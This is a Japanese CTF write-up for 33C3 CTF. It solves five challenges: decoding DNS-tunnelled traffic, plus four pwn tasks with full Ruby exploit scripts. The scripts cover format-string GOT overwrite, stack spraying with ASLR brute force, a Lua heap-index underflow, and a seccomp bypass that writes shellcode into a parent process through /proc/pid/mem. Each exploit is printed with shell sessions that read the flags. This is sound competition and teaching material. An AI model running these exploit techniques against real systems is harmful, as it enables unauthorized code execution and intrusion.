33C3 CTF writeup
33C3 CTFにbinjaで参加しました。
チームで3150pts入れて17位、
私は5問解いて1050pts入れました。
面白い問題ばかりで楽しかったです(*´ω`*)
解いた問題のwriteupを置いておきます(`・ω・´)
exfil (for 100)
pcapとserver.pyを見てみると、通信内容をDNSクエリに仕込んでやりとりしていることがわかるので、scapyでがんばって復元する。
↓やりとりを復元してstream.binに保存するスクリプト
from scapy.all import * import base64 import struct import sys def decode_b32(s): s = s.upper() for i in range(10): try: return base64.b32decode(s) except: s += "=" raise ValueError('Invalid base32') domain = "eat-sleep-pwn-repeat.de." packets = rdpcap("dump.pcap") data = [] last = "" packet_type = None for i in range(len(packets)): packet = packets[i]["DNS"] if packet.an is None: raw = decode_b32("".join(packet.qd.qname.split(".")[:-domain.count(".") - 1])) if len(raw) > 6 and last != raw[6:]: sys.stdout.write("%4d: > %s\n" % (i, repr(raw[6:]))) last = raw[6:] if packet_type == "response": data[-1] += raw[6:] else: data.append(raw[6:]) packet_type = "response" else: raw = decode_b32("".join(packet.an.rdata.split(".")[:-domain.count(".") - 1])) if len(raw) > 6 and last != raw[6:]: sys.stdout.write("%4d: < %s\n" % (i, repr(raw[6:]))) last = raw[6:] if packet_type == "request": data[-1] += raw[6:] else: data.append(raw[6:]) packet_type = "request" f = open("stream.bin", "wb") for a in data: f.write(a) f.close()
やりとりを見てみると、
- GPG keyの入力
- GPGでsecret.docxを暗号化
cat secret.docx.gpg
をしているので、secret.docxを復号するとフラグが出てくる。
FLAG: 33C3_g00d_d1s3ct1on_sk1llz_h0mie
ESPR (pwn 150)
Tシャツ(このTシャツ欲しい)のアセンブリを見ると、
while(1){ char buf[0x100]; gets(buf); sleep(1); printf(buf); }
みたいなコードが動いているようなので、fsbで.text領域をダンプしてgotの場所を調べ、got leak→got overwriteでシェルを取った。
#coding:ascii-8bit require "pwnlib" host = "78.46.224.86" port = 1337 libc_offset = { # libc6_2.24-3ubuntu2_amd64 "printf" => 0x56550, "system" => 0x456d0 } got = { "printf" => 0x601018 } def tube @tube end def leak(addr, length = nil) if length.nil? tube.sendline("%8$s114514\0".ljust(16, "\0") + [addr].pack("Q")) tube.recv_capture(/(.*?)114514/m)[0] + "\0" else buf = "" while buf.length < length buf << leak(addr + buf.length) end buf end end def build_payload(addr, data) payload = "" index = data.length * "%999c%99$hhn".length / 8 + 7 current = 0 data.bytes.each_with_index do |b, i| if current != b payload << "%#{(b - current) & 0xff}c" current = b end payload << "%#{index + i}$hhn" end payload = payload.ljust((index - 6) * 8, "\0") payload << (addr...addr + data.length).to_a.pack("Q*") end PwnTube.open(host, port) do |t| @tube = t puts "[*] leak libc base" libc_base = leak(got["printf"], 8).unpack("Q")[0] - libc_offset["printf"] puts "libc base = 0x%x" % libc_base puts "[*] overwrite got" tube.sendline(build_payload(got["printf"], [libc_base + libc_offset["system"]].pack("Q"))) puts "[*] launch shell" tube.sendline("/bin/sh") tube.recv tube.interactive end
$ ruby espr.rb [*] connected [*] leak libc base libc base = 0x7f71566c1000 [*] overwrite got [*] launch shell [*] interactive mode id uid=1001(challenge) gid=1001(challenge) groups=1001(challenge) ls -la total 36 drwxr-xr-x 2 root root 4096 Dec 27 14:29 . drwxr-xr-x 3 root root 4096 Dec 19 20:00 .. -rw-r--r-- 1 root root 220 Dec 19 16:55 .bash_logout -rw-r--r-- 1 root root 3771 Dec 19 16:55 .bashrc -rwxr-xr-x 1 root root 5968 Dec 27 14:28 espr -rw-r--r-- 1 root root 30 Dec 27 14:27 flag -rw-r--r-- 1 root root 655 Dec 19 16:55 .profile -rwxr-xr-x 1 root root 91 Dec 27 14:26 run.sh cat flag 33C3_f1rst_tshirt_challenge?! exit [*] connection closed
FLAG: 33C3_f1rst_tshirt_challenge?!
rec (pwn 200)
$ ./rec_7743d76881fe811335ca25d8b0a3c5f54a21e2f1 Calculators are fun! 0 - Take note 1 - Read note 2 - Polish 3 - Infix 4 - Reverse Polish 5 - Sign 6 - Exit > 2 Operator: + Operand: 111 Operand: 222 Result: 333 0 - Take note 1 - Read note 2 - Polish 3 - Infix 4 - Reverse Polish 5 - Sign 6 - Exit > 5 10 Positive 0 - Take note 1 - Read note 2 - Polish 3 - Infix 4 - Reverse Polish 5 - Sign 6 - Exit > 6
ポーランド記法・中置記法・逆ポーランド記法で計算できる簡易電卓。
まずは下調べ。
$ file rec_7743d76881fe811335ca25d8b0a3c5f54a21e2f1 rec_7743d76881fe811335ca25d8b0a3c5f54a21e2f1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=51890d1f3db5af5a951952942d4cf81d91143c3e, stripped $ checksec --file rec_7743d76881fe811335ca25d8b0a3c5f54a21e2f1 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH rec_7743d76881fe811335ca25d8b0a3c5f54a21e2f1
主な仕様はこんな感じ。
- Take note / Read note
- スタック上のバッファを読み書きできる
- が、バッファが関数のローカル変数なため、書いたメモは永続しない
- Polish
- Infix
- 中置記法で計算できる
- Reverse Polish
- 逆ポーランド記法で計算できる
- Sign
- 入力した数字が1以上ならPositive, -1以下ならNegativeと出力する
- 出力用の関数はスタック上の関数ポインタ経由で呼ばれる
- 0を入力すると、関数ポインタが未初期化のままになり、関数ポインタの指すアドレスにeipが飛ばされる
未初期化の関数ポインタをコントロールする方法を見つけるとよさそうだが、Sign用の関数だけ最初にsub esp, 0x338
と大きくespを引いているため、スタック領域の上の方に何かを書き込む手段を探す必要がある。
「ループを回しまくるとespが段々上がっていくみたいなバグがありそう」と思って探してみると、Polishで"S"演算子を指定したときの処理にそのようなバグがあった。
↓[]の中の数字は、0xb36実行直前のespを0としたときのesp 0xb36[ 0]: sub esp,0x8 0xb39[ -8]: push DWORD PTR [ebp-0x2c] 0xb3c[-12]: push DWORD PTR [ebp-0x2c] 0xb3f[-16]: mov eax,DWORD PTR [ebp-0x24] 0xb42[-16]: call eax ; sum += operand 0xb44[-16]: add esp,0x8 0xb47[ -8]: add DWORD PTR [ebp-0x28],eax 0xb4a[ -8]: sub esp,0xc 0xb4d[-20]: lea eax,[ebx-0x1f58] 0xb53[-20]: push eax 0xb54[-24]: call printf ; printf("Operand: ") 0xb59[-24]: add esp,0x10 0xb5c[ -8]: sub esp,0x8 0xb5f[-16]: push 0xc 0xb61[-20]: lea eax,[ebp-0x18] 0xb64[-24]: push eax 0xb65[-24]: call read_line ; read_line(buf, 12) 0xb6a[-24]: add esp,0x10 0xb6d[ -8]: sub esp,0xc 0xb70[-20]: lea eax,[ebp-0x18] 0xb73[-20]: push eax 0xb74[-24]: call atoi ; operand = atoi(buf) 0xb79[-24]: add esp,0x10 0xb7c[ -8]: mov DWORD PTR [ebp-0x2c],eax 0xb7f[ -8]: movzx eax,BYTE PTR [ebp-0x18] 0xb83[ -8]: cmp al,0x2e 0xb85[ -8]: jne 0xb36 ; if(buf[0] != '.') goto 0xb36
数字を1つ入力するごとにespが8上がっていくので、これを使ってスタックをsystem
と"/bin/sh"
のアドレスでスプレーし、シェルを取った。
(libcのアドレスをリークする方法が見つけられなかったため、ブルートフォースでASLRを突破した)
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "78.46.224.74" port = 4127 libc_base = 0xf75b8000 libc_offset = { # libc6-i386_2.24-3ubuntu2_amd64 "start" => 0x183f0, "system" => 0x3a8b0, "/bin/sh" => 0x15cbcf } else host = "localhost" port = 54321 libc_base = 0xf7e15000 libc_offset = { "start" => 0x19c50, "system" => 0x40310, "/bin/sh" => 0x16084c } end class PwnTube def recv_until_prompt recv_until("> ") end end def tube @tube end while true begin PwnTube.open(host, port, nil) do |t| @tube = t tube.recv_until_prompt tube.sendline("2") tube.sendline("S") 100.times do tube.sendline("#{[libc_base + libc_offset["system"]].pack("L").unpack("l")[0]}") end 100.times do tube.sendline("#{[libc_base + libc_offset["/bin/sh"]].pack("L").unpack("l")[0]}") end tube.sendline(".") tube.recv_until_prompt tube.sendline("5") tube.sendline("0") tube.interactive end rescue end break unless remote end
FLAG: 33C3_L0rd_Nikon_would_l3t_u_1n
grunt (pwn 250)
$ cat <<EOS | ./grunt-03fcd4dbcd3116399852dbbb6fdecf90 > p = pokemon.new("hoge") > pokemon.addAttack(p, function(target) pokemon.doDamage(target, 10) end) > pokemon.fight(p, "Airmackly") > return 0 > EOS hoge is stopped by a wild Airmackly! Round 1 hoge hits Airmackly for 10 damage! Airmackly uses INCAPACITATE! Round 2 hoge hits Airmackly for 0 damage! Airmackly uses TROUTSLAP! Round 3 hoge hits Airmackly for 0 damage! The fight has ended script returned: 0
Luaスクリプトを渡すと実行してくれるプログラム。
ただし、stringライブラリとpokemonライブラリ(バイナリ中で定義)の関数しか使えない。
まずは下調べ。
$ file grunt-03fcd4dbcd3116399852dbbb6fdecf90 grunt-03fcd4dbcd3116399852dbbb6fdecf90: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6d1b9829c19732df0ddb51f55dcf03d1c68a35af, not stripped $ checksec --file grunt-03fcd4dbcd3116399852dbbb6fdecf90 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH grunt-03fcd4dbcd3116399852dbbb6fdecf90
pokemonライブラリには以下の関数が定義されている。
struct Pokemon { int hp; // HP unsigned char count; // actionに登録されている行動の数 char[3] padding1; char *name; // 名前 int action[3]; // nターン目の行動(0 <= n < 3) int padding2; }
pokemon.getName(p)
- ポケモンの名前を取得する
pokemon.setName(p, name)
pokemon.addAttack(p, attack)
- ポケモンの行動を追加する
attack
には関数オブジェクトを指定する- この関数は、バトル中に
attack(相手ポケモン)
の形で呼び出される
- この関数は、バトル中に
pokemon.doDamage(p, damage)
- ポケモンのHPを減らす
- 符号チェックがないので、負数を指定すると回復する
pokemon.duplicateAttack(p)
p->action[p->count] = p->action[p->count - 1]
pokemon.swapAttack(p, m, n)
- ポケモンのmターン目の行動とnターン目の行動を入れ替える(
0 <= m,n < p->count
)
- ポケモンのmターン目の行動とnターン目の行動を入れ替える(
pokemon.getAttack(p, n)
- ポケモンのnターン目の行動を取得する
pokemon.fight(p, target)
以下の手順で攻略した。
addAttack
に渡した関数内で敵ポケモンを操作できることを利用して、INCAPACITATEを2回使う敵ポケモンを作る- 1.の敵ポケモンと
p->count
が1なポケモンp1
をバトルさせる
このとき、p1->count
がunderflowして0xffになるため、swapAttack(p1, m, n)
でヒープ上の2か所の32bit値を入れ替えられるようになる p1
の後ろにあるポケモンp2
のHPをdoDamage
でgotのアドレスと同じ値にした後、swapAttack
でp2->HP
とp2->name
を入れ替えるgetName(p2)
/setName(p2)
でgotが読み書きできるので、libcのアドレスを調べた後にgot overwrite
余談だが、動的解析・exploitデバッグ用に、先日書いたLD_PRELOAD
のテクニックを応用してLuaのスタックをダンプする関数を書いたら捗った。
#include <stdio.h> struct __attribute__((__packed__)) Pokemon { int hp; int count; char *name; unsigned int action[3]; unsigned int padding; }; void dumpStack(){ void *l = (void*)0x628028; // LuaStateのアドレス。環境によって多少変わるかも int (*lua_gettop)(void*) = (void*)0x4025a0; int (*lua_type)(void*, int) = (void*)0x4027b0; char *(*lua_typename)(void*, int) = (void*)0x4027d0; double (*lua_tonumberx)(void*, int, int*) = (void*)0x4029f0; char *(*lua_tostring)(void*, int) = (void*)0x402ad0; void *(*lua_touserdata)(void*, int) = (void*)0x402c00; void *(*lua_topointer)(void*, int) = (void*)0x402c50; int i; int stackSize; struct Pokemon *poke; double d; stackSize = lua_gettop(l); fprintf(stderr, "stack size: %d\n", stackSize); for(i = stackSize; i >= 1; i--){ int type = lua_type(l, i); fprintf(stderr, "Stack[%2d:%10s(%d)] : ", i, lua_typename(l, type), type); switch(type){ case 7: //userdata poke = (struct Pokemon*)lua_touserdata(l, i); fprintf(stderr, "%p\n", poke); fprintf(stderr, " hp: 0x%x\n", poke->hp); fprintf(stderr, " count: 0x%x\n", poke->count); fprintf(stderr, " name: %p\n", poke->name); fprintf(stderr, " action1: %p\n", (void*)((unsigned long)(poke->action[0]))); fprintf(stderr, " action2: %p\n", (void*)((unsigned long)(poke->action[1]))); fprintf(stderr, " action3: %p", (void*)((unsigned long)(poke->action[2]))); break; case 3: //number d = lua_tonumberx(l, i, NULL); fprintf(stderr, "%f(%p)", d, (void*)((unsigned long)d)); break; case 4: //string fprintf(stderr, "%s", lua_tostring(l, i)); break; case 6: //function case 5: //table fprintf(stderr, "%p", lua_topointer(l, i)); break; } fprintf(stderr, "\n"); } fprintf(stderr, "table: %p\n", lua_topointer(l, -1001000)); fflush(stderr); }
gdbでデバッグ中にcall dumpStack()
と打つと、こんな感じでLuaスタックのダンプが出る。
stack size: 4 Stack[ 4: userdata(7)] : 0x62a4e8 hp: 0x64 count: 0x2 name: 0x41b63a action1: 0x2 action2: 0x1 action3: (nil) Stack[ 3: function(6)] : 0x62b6f0 Stack[ 2: string(4)] : Airmackly Stack[ 1: userdata(7)] : 0x62e078 hp: 0x64 count: 0x1 name: 0x62e0a0 action1: 0x7 action2: (nil) action3: (nil) table: 0x6288d0
我ながら便利なテクニックを見つけたものだなぁという気持ちになった。(自画自賛)
ということで、以下exploit。
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "78.46.224.90" port = 1337 libc_offset = { # libc6_2.24-3ubuntu2_amd64 "puts" => 0x70960, "system" => 0x456d0 } else host = "localhost" port = 54321 libc_offset = { "puts" => 0x6fd60, "system" => 0x46590 } end got = { "puts" => 0x626040, "strncpy" => 0x626038 } def escape(data) data.bytes.map{|a| "\\x%02x" % a}.join end p1, p2 = [0x62e078, 0x62e1d8] script = <<EOS #{("a".."z").to_a.join(",")}=1 p1, p2 = 1 function duplicate_incapacitate(target) pokemon.swapAttack(target, 0, 1) pokemon.duplicateAttack(target) end #{10.times.map{"z = pokemon.new(\"A\")"}.join("\n")} p1 = pokemon.new("/bin/sh") p2 = pokemon.new("AAAA") pokemon.addAttack(p1, duplicate_incapacitate) pokemon.fight(p1, "Airmackly") pokemon.doDamage(p2, #{100 - got["puts"]}) pokemon.swapAttack(p1, #{(p2 - p1 - 0x10) / 4}, #{(p2 - p1 - 0x10) / 4 + 2}) pokemon.getName(p1) a = pokemon.getName(p2) a = string.unpack("<I6", a) - #{libc_offset["puts"]} pokemon.swapAttack(p1, #{(p2 - p1 - 0x10) / 4}, #{(p2 - p1 - 0x10) / 4 + 2}) pokemon.doDamage(p2, #{got["puts"] - got["strncpy"]}) pokemon.swapAttack(p1, #{(p2 - p1 - 0x10) / 4}, #{(p2 - p1 - 0x10) / 4 + 2}) pokemon.setName(p2, string.pack("<I8", a + #{libc_offset["system"]})) pokemon.getName(p2) pokemon.setName(p1, "AAAA") EOS PwnTube.open(host, port) do |tube| tube.send(script.ljust(0x1000)) tube.interactive end
$ ruby grunt.rb r [*] connected [*] interactive mode id uid=1001(challenge) gid=1001(challenge) groups=1001(challenge) ls -la total 196 drwxr-xr-x 2 root root 4096 Dec 26 21:18 . drwxr-xr-x 3 root root 4096 Dec 19 20:00 .. -rw-r--r-- 1 root root 220 Dec 19 16:55 .bash_logout -rw-r--r-- 1 root root 3771 Dec 19 16:55 .bashrc -r--r--r-- 1 root root 38 Dec 26 21:15 flag -rwxr-xr-x 1 root root 170376 Dec 26 22:22 grunt -rw-r--r-- 1 root root 655 Dec 19 16:55 .profile -rwxr-xr-x 1 root root 79 Dec 26 21:18 run.sh cat flag 33C3_4cab52949778211296ac800d072f9032 exit /bin/sh is stopped by a wild Airmackly! Round 1 /bin/sh hits Airmackly for 0 damage! Airmackly uses TROUTSLAP! Round 2 /bin/sh hits Airmackly for 0 damage! Airmackly uses INCAPACITATE! Round 3 /bin/sh hits Airmackly for 0 damage! Airmackly uses INCAPACITATE! The fight has ended [*] end interactive mode [*] connection closed
FLAG: 33C3_4cab52949778211296ac800d072f9032
tea (pwn 350)
$ ./tea Thank you for using our next-gen data storage solution. You're using the free trial version, some functionality might be missing. (r)ead or (w)rite access? r filename? ./test lseek? 0 count? 32 read 5 bytes test quit? (y/n) y
ファイルシステム上の好きなファイルを読み込んで出力してくれるプログラム。
(ただし、フラグはフラグ出力用のバイナリを実行しないと読めないようになっている)
まずは下調べ。
$ file tea tea: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=fe3049679a5d0e5151269d726cceeaddd05cc32a, stripped $ checksec --file tea RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH tea
主な仕様はこんな感じ。
- 親プロセス
- 子プロセスのスタック領域用に
mmap
で0x100000000000バイト確保し、clone(func, child_stack, 0, 0)
で子プロセスを作る - 子プロセスを作った後、親プロセスは
waitpid
で待機
- 子プロセスのスタック領域用に
- 子プロセス
unsigned int syscall_number; unsigned long arg1, arg2, arg3, arg4, arg5, arg6; if(architecture != x86_64){ return KILL; } switch(syscall_number){ case SYS_exit: case SYS_exit_group: case SYS_brk: case SYS_read: case SYS_lseek: case SYS_open: return ALLOW; case SYS_fstat: return ERRNO(EACCES); case SYS_mmap: // mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0)の形のみ許可 if(arg1 != 0){ // addr return KILL; } if(arg3 != (PROT_READ | PROT_WRITE)){ return KILL; } if(arg4 != (MAP_ANONYMOUS | MAP_PRIVATE)){ return KILL; } if(arg5 != -1){ // fd return KILL; } if(arg6 != 0){ // offset return KILL; } return ALLOW; case SYS_close: if(arg1 == 0 || arg1 == 1 || arg1 == 2){ return KILL; } return ALLOW; case SYS_write: if(arg1 == 1 || arg1 == 2){ return ALLOW; } return KILL; default; return KILL; }
子プロセスのstack bofを使えば子プロセスの制御はすぐ奪えるので、親プロセスの制御を奪う方法を考える。
今回の問題で子プロセスから親プロセスにちょっかいを出すには、/proc/親プロセスのpid/mem
を書き換えるくらいしか方法がない。
seccomp-bpfの設定内容を見ると他のファイルへの書き込みはできないように見えるが、
close
のプロトタイプ宣言はint close(int fd)
なので、close(0x100000002)
はclose(2)
と同じopen
は、そのプロセスがその時点でオープンしていないfdのうちの最小のものを返す
つまり、close(2)
した後にopen
すると、fd=2が返ってくる- seccomp-bpfの設定では、fd=2への
write
は禁じられていない
という点を利用すると、他のファイルへの書き込みは可能である。
ということで、/proc/親プロセスのpid/mem
にシェルコードを書き込み、親プロセスでそれが実行されるようにしてシェルを取った。
#coding:ascii-8bit require "pwnlib" @remote = ARGV[0] == "r" def remote @remote end if remote host = "104.155.105.0" port = 14000 libc_offset = { "open" => 0xf3680, "close" => 0xf3f30, "read" => 0xf38a0, "write" => 0xf3900, "lseek" => 0x1037f0, "_exit" => 0xc94b0, "__malloc_hook" => 0x3bdaf0, "ret" => 0x20fed, "pop_rdi_ret" => 0x20fec, "pop_rsi_ret" => 0x229a5, "pop_rdx_ret" => 0x463a1, "add_rsp_0x100_ret" => 0x8b99e } else host = "localhost" port = 54321 libc_offset = { "open" => 0xeb4b0, "close" => 0xebe00, "read" => 0xeb6a0, "write" => 0xeb700, "lseek" => 0xfa3a0, "_exit" => 0xc1180, "__malloc_hook" => 0x3be740, "ret" => 0x22b9b, "pop_rdi_ret" => 0x22b9a, "pop_rsi_ret" => 0x24885, "pop_rdx_ret" => 0x1e438, "add_rsp_0x100_ret" => 0x8b9de } end offset = { "after_waitpid" => 0x2199, "filename" => 0x203110, "shellcode" => 0x203210 } def tube @tube end def index @index end def make_index bin = open("libc.so.6", "rb").read.bytes (0..0xff).map{|a| bin.index(a)} end def read_file(path, offset, length) tube.recv_until("(r)ead or (w)rite access?\n") tube.sendline("r") tube.recv_until("filename?\n") tube.sendline(path) tube.recv_until("lseek?\n") tube.sendline("#{offset}") tube.recv_until("count?\n") tube.sendline("#{length}") tube.recv_until("bytes\n") result = tube.recv_until("quit? (y/n)\n")[0...-("quit? (y/n)\n".length)] tube.sendline("n") result end def write_to_memory(address, data, fd = 3) data.bytes.each_with_index do |b, i| print "." if b == 0 next end raise if [address + i].pack("Q").include?("\n") read_file(remote ? "/lib64/libc.so.6" : "./libc.so.6", index[b], "2".ljust(40, "\0") + [0, fd, 0, address + i].pack("QLLQ")) end puts end @index = make_index PwnTube.open(host, port) do |t| @tube = t shellcode = PwnLib.shellcode_x86_64 puts "[*] get memory map" memory_map = read_file("/proc/self/maps", 0, 0x1000) pie_base = memory_map.match(/^([0-9a-f]+)-[0-9a-f]+.*?#{remote ? "chal" : "tea"}/).captures[0].to_i(16) libc_base = memory_map.match(/^([0-9a-f]+)-[0-9a-f]+.*?libc/).captures[0].to_i(16) puts memory_map puts "PIE base = 0x%x" % pie_base puts "libc base = 0x%x" % libc_base puts "[*] get stack address" stack = read_file("/proc/self/stat", 0, 0x1000).split[28].to_i + 0xb0 puts "stack = 0x%x" % stack puts "[*] get ppid" ppid = read_file("/proc/self/status", 0, 0x1000).match(/PPid:\s+(\d+)\n/).captures[0].to_i puts "ppid = %d" % ppid puts "[*] send rop" payload = "" payload << [libc_base + libc_offset["ret"]].pack("Q") * 0x20 # read(0, filename, 0x100) payload << [libc_base + libc_offset["pop_rdi_ret"], 0].pack("Q*") payload << [libc_base + libc_offset["pop_rsi_ret"], pie_base + offset["filename"]].pack("Q*") payload << [libc_base + libc_offset["pop_rdx_ret"], 0x100].pack("Q*") payload << [libc_base + libc_offset["read"]].pack("Q") # close(0x100000002) payload << [libc_base + libc_offset["pop_rdi_ret"], 0x100000002].pack("Q*") payload << [libc_base + libc_offset["close"]].pack("Q") # open("/proc/ppid/mem", 2) payload << [libc_base + libc_offset["pop_rdi_ret"], pie_base + offset["filename"]].pack("Q*") payload << [libc_base + libc_offset["pop_rsi_ret"], 2].pack("Q*") payload << [libc_base + libc_offset["pop_rdx_ret"], 0].pack("Q*") payload << [libc_base + libc_offset["open"]].pack("Q") # lseek(2, pie_base + 0x2199, 0) payload << [libc_base + libc_offset["pop_rdi_ret"], 2].pack("Q*") payload << [libc_base + libc_offset["pop_rsi_ret"], pie_base + offset["after_waitpid"]].pack("Q*") payload << [libc_base + libc_offset["pop_rdx_ret"], 0].pack("Q*") payload << [libc_base + libc_offset["lseek"]].pack("Q") # read(0, shellcode, shellcode.length) payload << [libc_base + libc_offset["pop_rdi_ret"], 0].pack("Q*") payload << [libc_base + libc_offset["pop_rsi_ret"], pie_base + offset["shellcode"]].pack("Q*") payload << [libc_base + libc_offset["pop_rdx_ret"], shellcode.length].pack("Q*") payload << [libc_base + libc_offset["read"]].pack("Q") # write(2, shellcode, shellcode.length) payload << [libc_base + libc_offset["pop_rdi_ret"], 2].pack("Q*") payload << [libc_base + libc_offset["pop_rsi_ret"], pie_base + offset["shellcode"]].pack("Q*") payload << [libc_base + libc_offset["pop_rdx_ret"], shellcode.length].pack("Q*") payload << [libc_base + libc_offset["write"]].pack("Q") # close(0x100000002) payload << [libc_base + libc_offset["pop_rdi_ret"], 0x100000002].pack("Q*") payload << [libc_base + libc_offset["close"]].pack("Q") # exit(0) payload << [libc_base + libc_offset["pop_rdi_ret"], 0].pack("Q*") payload << [libc_base + libc_offset["_exit"]].pack("Q") raise if payload.include?("\n") read_file("/dev/null".ljust(0x48, "\0") + payload, 0, 2) puts "[*] overwrite __malloc_hook" write_to_memory(libc_base + libc_offset["__malloc_hook"], [libc_base + libc_offset["add_rsp_0x100_ret"]].pack("Q")) puts "[*] stack pivot" tube.recv_until("(r)ead or (w)rite access?\n") tube.sendline("r") tube.recv_until("filename?\n") tube.sendline("/dev/null") tube.recv_until("lseek?\n") tube.sendline("0") tube.recv_until("count?\n") tube.sendline("33") puts "[*] send filename" sleep(1) tube.send("/proc/#{ppid}/mem") puts "[*] send shellcode" sleep(1) tube.send(shellcode) tube.interactive end
$ ruby tea.rb r [*] connected [*] get memory map 2adf4613b000-2adf4615e000 r-xp 00000000 08:09 3342 /lib64/ld-2.23.so 2adf4615e000-2adf4615f000 rw-p 00000000 00:00 0 2adf46165000-2adf46167000 rw-p 00000000 00:00 0 2adf4635e000-2adf4635f000 r--p 00023000 08:09 3342 /lib64/ld-2.23.so 2adf4635f000-2adf46360000 rw-p 00024000 08:09 3342 /lib64/ld-2.23.so 2adf46360000-2adf46361000 rw-p 00000000 00:00 0 2adf46361000-2adf4651a000 r-xp 00000000 08:09 3367 /lib64/libc-2.23.so 2adf4651a000-2adf4671a000 ---p 001b9000 08:09 3367 /lib64/libc-2.23.so 2adf4671a000-2adf4671e000 r--p 001b9000 08:09 3367 /lib64/libc-2.23.so 2adf4671e000-2adf46720000 rw-p 001bd000 08:09 3367 /lib64/libc-2.23.so 2adf46720000-2adf46724000 rw-p 00000000 00:00 0 2adf46724000-3adf46724000 rw-p 00000000 00:00 0 5575125ff000-557512602000 r-xp 00000000 08:09 521220 /home/user/chal 557512801000-557512802000 r--p 00002000 08:09 521220 /home/user/chal 557512802000-557512803000 rw-p 00003000 08:09 521220 /home/user/chal 557512b95000-557512bb8000 rw-p 00000000 00:00 0 [heap] 7ffea381a000-7ffea383b000 rw-p 00000000 00:00 0 [stack] 7ffea3988000-7ffea398a000 r--p 00000000 00:00 0 [vvar] 7ffea398a000-7ffea398c000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] PIE base = 0x5575125ff000 libc base = 0x2adf46361000 [*] get stack address stack = 0x39a21b2a4458 [*] get ppid ppid = 1 [*] send rop [*] overwrite __malloc_hook ........ [*] stack pivot [*] send filename [*] send shellcode [*] interactive mode id uid=1337(user) gid=1337(user) groups=1337(user),0(root) /home/user/getflag 33C3_why_do_y0u_3ven_filter?!? exit [*] end interactive mode [*] connection closed
FLAG: 33C3_why_do_y0u_3ven_filter?!?